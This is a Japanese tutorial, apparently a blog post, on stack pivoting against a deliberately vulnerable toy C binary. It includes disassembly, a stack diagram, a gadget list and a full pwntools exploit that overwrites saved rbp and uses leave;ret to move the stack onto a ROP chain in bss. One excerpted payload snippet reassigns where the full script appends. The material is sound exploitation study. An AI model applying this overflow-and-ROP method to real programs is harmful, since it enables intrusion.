Stack Pivotについて
攻撃者が新たに用意した領域や、攻撃者が自由にデータを書き込める領域、既存の別領域をスタックとして利用するStack Pivotの勉強。
ターゲットプログラムと概要
#include <stdio.h> char msg[0x100]; void main(void){ char name[0x10]; puts("Hello!"); printf("Input Name >> "); fgets(name, 0x20, stdin); printf("Input Message >> "); fgets(msg, sizeof(msg), stdin); } void win(unsigned key1, unsigned key2){ puts("This is win\n"); if(key1 == 0xcafebabe && key2 == 0xc0bebeef) puts("Correct!"); else puts("Wrong..."); }
(gcc vuln.c -fno-stack-protector -no-pie -g -o vuln
)
name
入力のとこにbofの脆弱性があるので、これを利用してwin
関数に飛ばし"Correct!"を表示させたい。
しかし、name
に入力できるのが0x20分のサイズしかないので、せいぜいリターンアドレスしか上書きできない。0xcafebabe
等の変数を書き込めるスペースがない。
そこでStack Pivotを利用する。
スタックの様子
main
関数をディスアセンブルすると
0x0000000000401176 <+0>: endbr64 0x000000000040117a <+4>: push rbp 0x000000000040117b <+5>: mov rbp,rsp 0x000000000040117e <+8>: sub rsp,0x10 0x0000000000401182 <+12>: lea rdi,[rip+0xe7b] 0x0000000000401189 <+19>: call 0x401060 <puts@plt> 0x000000000040118e <+24>: lea rdi,[rip+0xe76] 0x0000000000401195 <+31>: mov eax,0x0 0x000000000040119a <+36>: call 0x401070 <printf@plt> 0x000000000040119f <+41>: mov rdx,QWORD PTR [rip+0x2e9a] 0x00000000004011a6 <+48>: lea rax,[rbp-0x10] 0x00000000004011aa <+52>: mov esi,0x20 0x00000000004011af <+57>: mov rdi,rax 0x00000000004011b2 <+60>: call 0x401080 <fgets@plt> 0x00000000004011b7 <+65>: lea rdi,[rip+0xe5c] 0x00000000004011be <+72>: mov eax,0x0 0x00000000004011c3 <+77>: call 0x401070 <printf@plt> 0x00000000004011c8 <+82>: mov rax,QWORD PTR [rip+0x2e71] 0x00000000004011cf <+89>: mov rdx,rax 0x00000000004011d2 <+92>: mov esi,0x100 0x00000000004011d7 <+97>: lea rdi,[rip+0x2e82] # 0x404060 <msg> 0x00000000004011de <+104>: call 0x401080 <fgets@plt> 0x00000000004011e3 <+109>: nop 0x00000000004011e4 <+110>: leave 0x00000000004011e5 <+111>: ret
よってスタックは次のようになっている:
+-----------+ -0x10 | | | name | | | +-----------+ | saved rbp | +-----------+ +0x08 | retaddr | +-----------+
戦略
msg
は初期化されてない変数だから、msg
はbssセクションに確保される。
そこで、msg
にROPチェーンを書き込んで、そしてbssセクション(msg
すなわちROPチェーンがある場所)にスタックを移せばROP攻撃ができる。
どうやってスタックを別の領域に移すか?
単純に考えて、リターンアドレスをガジェットpop rsp; ret;
に書き換えて、その下に行きたい領域のアドレスを書けばよい:
+-------------------------------+ | | | pop rsp; ret; | +-------------------------------+ | | | destination address | +-------------------------------+
しかし今回はサイズの問題で、リターンアドレス以降に行き先アドレスを書けない。
そこで、saved rbpに着目する。
saved rbpに行きたい領域のアドレスを格納する。そしてリターンアドレスをガジェットleave; ret;
に書き換える。
そうすればスタックフレームはsaved rbpに上書きしたアドレスに移る。
leave
命令は
mov rsp, rbp; pop rbp;
このように、saved rbpをpopしてしまうので、saved rbpには”行きたい領域のアドレス - 8”を指定しておく。
exploit
#!/usr/bin/env python3 import warnings from pwn import * warnings.simplefilter('ignore', category = BytesWarning) bin_file = './vuln' binf = ELF(bin_file, checksec = False) context.binary = binf context.log_level = 'debug' def attack(conn): rop = ROP(binf) payload = b'A' * 0x10 payload += p64(binf.symbols['msg'] - 8) payload += p64(rop.find_gadget(['leave', 'ret']).address) conn.sendlineafter('Input Name >> ', payload) rop.raw(rop.rdi) rop.raw(0xcafebabe) rop.raw(rop.rsi) rop.raw(0xc0bebeef) rop.raw(0xdeadbeef) rop.raw(binf.symbols['win']) conn.sendlineafter('Input Message >> ', rop.chain()) def main(): conn = process(bin_file) attack(conn) conn.interactive() if __name__ == '__main__': main()
name
のbofでsaved rbpに「行きたい領域-8」今回は「msgのアドレス-8」を設定するのと、
リターンアドレスにガジェットleave;ret;
のアドレスを設定するようなペイロードを送る。
payload = 'A' * 0x10 payload = binf.symbols['msg'] - 8 payload = rop.find_gadget(['leave', 'ret']).address
msg
にはROPチェーンを書き込む。
win
関数で"Correct!"を表示させるように組む
rop.raw(rop.rdi) rop.raw(0xcafebabe) rop.raw(rop.rsi) rop.raw(0xc0bebeef) rop.raw(0xdeadbeef) rop.raw(binf.symbols['win'])
今回はrop.rsiが
Gadget(0x4012a1, ['pop rsi', 'pop r15', 'ret'], ['rsi', 'r15'], 0x18)
だから、r15にpopする値を適当に用意する(ここでは0xdeadbeef)。
ちなみにガジェットは以下の通り:
{4198423: Gadget(0x401017, ['add esp, 8', 'ret'], [], 0x10), 4198422: Gadget(0x401016, ['add rsp, 8', 'ret'], [], 0x10), 4198884: Gadget(0x4011e4, ['leave', 'ret'], ['rbp', 'rsp'], 0x2540be407), 4199068: Gadget(0x40129c, ['pop r12', 'pop r13', 'pop r14', 'pop r15', 'ret'], ['r12', 'r13', 'r14', 'r15'], 0x28), 4199070: Gadget(0x40129e, ['pop r13', 'pop r14', 'pop r15', 'ret'], ['r13', 'r14', 'r15'], 0x20), 4199072: Gadget(0x4012a0, ['pop r14', 'pop r15', 'ret'], ['r14', 'r15'], 0x18), 4199074: Gadget(0x4012a2, ['pop r15', 'ret'], ['r15'], 0x10), 4199067: Gadget(0x40129b, ['pop rbp', 'pop r12', 'pop r13', 'pop r14', 'pop r15', 'ret'], ['rbp', 'r12', 'r13', 'r14', 'r15'], 0x30), 4199071: Gadget(0x40129f, ['pop rbp', 'pop r14', 'pop r15', 'ret'], ['rbp', 'r14', 'r15'], 0x20), 4198749: Gadget(0x40115d, ['pop rbp', 'ret'], ['rbp'], 0x10), 4199075: Gadget(0x4012a3, ['pop rdi', 'ret'], ['rdi'], 0x10), 4199073: Gadget(0x4012a1, ['pop rsi', 'pop r15', 'ret'], ['rsi', 'r15'], 0x18), 4199069: Gadget(0x40129d, ['pop rsp', 'pop r13', 'pop r14', 'pop r15', 'ret'], ['rsp', 'r13', 'r14', 'r15'], 0x28), 4198426: Gadget(0x40101a, ['ret'], [], 0x8)}